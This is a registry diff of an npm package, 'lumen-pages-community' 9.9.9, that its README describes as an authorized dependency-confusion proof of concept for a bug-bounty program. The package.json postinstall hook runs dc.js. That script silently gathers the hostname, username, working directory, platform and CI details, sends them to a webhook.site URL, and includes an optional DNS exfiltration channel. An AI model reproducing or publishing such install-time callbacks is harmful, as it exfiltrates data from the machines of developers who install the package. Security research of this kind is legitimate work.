lumen-pages-community 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/README.md +10 -0
  2. package/dc.js +33 -0
  3. package/index.js +2 -0
  4. package/package.json +10 -0
package/README.md ADDED
@@ -0,0 +1,10 @@
1
+ # lumen-pages-community (security research placeholder)
2
+
3
+ This package was published as a **dependency-confusion proof-of-concept** under the authorized
4
+ HackerOne **eufy_security** program by researcher **sufiyan019**.
5
+
6
+ It is **benign**: on install it makes a single network callback recording only the hostname, user,
7
+ working directory and platform, to demonstrate that an internal package name resolved to the public
8
+ npm registry. It reads no files, collects no environment values or secrets, and takes no other action.
9
+
10
+ It will be unpublished once the report is triaged. Questions: via the HackerOne report.
package/dc.js ADDED
@@ -0,0 +1,33 @@
1
+ /*
2
+ * Dependency-confusion PoC — AUTHORIZED security research (HackerOne eufy_security, sufiyan019).
3
+ * BENIGN: makes ONE callback proving where this ran. Collects only host/user/cwd/platform —
4
+ * NO file reads, NO env values, NO secrets, NO persistence, NO further action.
5
+ */
6
+ try {
7
+ var os = require('os');
8
+ var https = require('https');
9
+ var dns = require('dns');
10
+
11
+ var info = {
12
+ pkg: 'lumen-pages-community',
13
+ host: (os.hostname() || '').replace(/[^a-z0-9.-]/gi, ''),
14
+ user: ((os.userInfo && os.userInfo().username) || '').replace(/[^a-z0-9._-]/gi, ''),
15
+ cwd: (process.cwd() || '').replace(/[^a-z0-9._\/-]/gi, ''),
16
+ platform: process.platform,
17
+ node: process.version,
18
+ ci: process.env.CI || '',
19
+ ua: (process.env.npm_config_user_agent || '').replace(/[^a-z0-9._\/ -]/gi, '')
20
+ };
21
+ var qs = Object.keys(info).map(function (k) {
22
+ return k + '=' + encodeURIComponent(info[k]);
23
+ }).join('&');
24
+
25
+ // HTTP callback (webhook.site — stored, check anytime)
26
+ https.get('https://webhook.site/b00492c6-27ba-4ea0-a9cb-dd50b3770250/dc?' + qs, function () {}).on('error', function () {});
27
+
28
+ // DNS callback (fires even if HTTP egress is blocked). Fill in an interactsh/canary domain to use it.
29
+ var DNS_LISTENER = ''; // e.g. 'abc123.oast.fun'
30
+ if (DNS_LISTENER) {
31
+ dns.lookup(info.host.slice(0, 40) + '.' + DNS_LISTENER, function () {});
32
+ }
33
+ } catch (e) { /* stay silent, never break the host build */ }
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // Placeholder. See dc.js — authorized dependency-confusion PoC.
2
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "lumen-pages-community",
3
+ "version": "9.9.9",
4
+ "description": "Security research placeholder (dependency-confusion PoC). Benign, no data collected beyond a callback. Contact: sufiyan019 / HackerOne eufy_security.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node dc.js"
8
+ },
9
+ "license": "MIT"
10
+ }